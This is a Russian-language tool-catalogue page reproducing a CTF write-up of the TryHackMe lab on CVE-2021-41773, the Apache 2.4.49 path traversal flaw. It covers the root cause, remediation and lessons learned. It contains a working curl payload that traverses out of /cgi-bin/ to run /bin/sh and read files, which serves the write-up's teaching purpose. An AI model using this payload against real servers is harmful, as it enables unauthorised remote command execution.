Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-41773 — Подробный разбор CVE-2021-41773: обход пути и эксплуатация RCE в Apache с пошаговыми командами и анализом первопричин из лабораторной среды TryHackMe. | Kitploit
Инструменты/GitHubGitHub/johnwickakash12/cve-2021-41773
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFОбучение и ОбразованиеЛаборатории и Практика
GitHubjohnwickakash12/cve-2021-41773

CVE-2021-41773

Подробный разбор CVE-2021-41773: обход пути и эксплуатация RCE в Apache с пошаговыми командами и анализом первопричин из лабораторной среды TryHackMe.

Репозиторий
32 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-41773 — Эксплуатация Path Traversal и RCE в Apache

Описание прохождения комнаты TryHackMe "Modern Web Stacks", посвященной эксплуатации CVE-2021-41773 — уязвимости path traversal в Apache HTTP Server 2.4.49, которая приводит к удаленному выполнению кода при включенном mod_cgi.

Краткая сводка

ПунктДетали
УязвимостьCVE-2021-41773 — Apache 2.4.49 Path Traversal / RCE
Целевой сервисApache HTTP Server на порту 8080
Уязвимая версияApache/2.4.49 (Unix)
Корневая причинаНарушение порядка нормализации в ap_normalize_path()
ВоздействиеЧтение произвольных файлов → Удаленное выполнение кода через mod_cgi
Используемые инструментыcurl

Обзор уязвимости

В Apache 2.4.49 была изменена работа ap_normalize_path() при обработке URL. Apache должен блокировать любой путь запроса, содержащий ../, до того как он достигнет файловой системы, но фильтр обхода каталога запускается до полного декодирования URL.

Это означает, что запрос с двойным кодированием последовательности .%2e/ не распознается фильтром как ../. Однако когда Apache передает путь ОС, .%2e/ преобразуется в ../, и фильтр обхода каталога уже обойден.

Сама по себе эта уязвимость позволяет читать произвольные файлы за пределами корневого каталога веб-сервера. Воздействие становится критическим при совместном использовании с mod_cgi: если путь обхода ведет к исполняемому файлу, например /bin/sh, внутри каталога с поддержкой CGI (например, /cgi-bin/), Apache выполняет его как CGI-скрипт и передает тело HTTP POST запроса в его stdin — что дает удаленное выполнение команд.

Шаги

1. Подтверждение уязвимого заголовка Server

Определили, что заголовок ответа Server цели:

root@kitploit:~
Apache/2.4.49 (Unix)

Эта версия напрямую подвержена CVE-2021-41773.

2. Проверка доступности /cgi-bin/

Запросили /cgi-bin/ и получили ответ 403 Forbidden (не 404), что указывает на существование каталога и, вероятно, включенный mod_cgi — предварительное условие для RCE через эту CVE.

3. Эксплуатация path traversal для RCE

Использовали curl с флагом --path-as-is, чтобы отправить закодированную последовательность обхода в точности как набрано, без предварительной нормализации curl на стороне клиента:

root@kitploit:~
curl -s --path-as-is "http://<TARGET_IP>:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" \
  --data 'echo Content-Type: text/plain; echo; cat /flag.txt'

Почему требуется --path-as-is: по умолчанию curl нормализует URL и удаляет последовательности .%2e/ еще до отправки запроса. --path-as-is сообщает curl отправлять URL точно как написано, сохраняя закодированный обход, чтобы он достиг сервера в неизменном виде.

4. Чтение флага

Полезная нагрузка прошла из /cgi-bin/ в корневую файловую систему, выполнила /bin/sh как CGI-скрипт через внедренное тело POST и вернула содержимое /flag.txt.

root@kitploit:~
Формат флага подтвержден: THM{...}

(Флаг удален в соответствии с правилами TryHackMe для публичных решений.)

Основные выводы

  • Порядок установки исправлений имеет значение. Фильтр безопасности, работающий до завершения декодирования, может быть тривиально обойден с помощью трюков с кодированием — этот точный шаблон (фильтр затем декодирование vs декодирование затем фильтр) встречается во многих CVE, связанных с обходом каталога, не только в этой.
  • mod_cgi + path traversal = RCE. Чтение файлов само по себе плохо; в сочетании с каталогом, в котором можно выполнять CGI, это превращается в выполнение команд.
  • Поведение инструментов имеет значение при тестировании. Стандартная нормализация URL в curl может незаметно «исправить» ту самую полезную нагрузку, которую вы пытаетесь отправить — --path-as-is (или аналогичный инструмент для необработанных запросов) крайне важен при тестировании обходов, основанных на кодировании.

Устранение

  • Обновите Apache до 2.4.51 или новее (исправляет как CVE-2021-41773, так и связанную CVE-2021-42013).
  • Отключите mod_cgi, если только он явно не требуется.
  • Примените принцип минимальных привилегий к процессу веб-сервера, чтобы ограничить радиус поражения любого примитива чтения файлов.

Ссылки

  • CVE-2021-41773 — NVD
  • Комната TryHackMe — Modern Web Stacks

Это описание документирует лабораторную среду (TryHackMe). Несанкционированного доступа к системам не было.

Скачать инструмент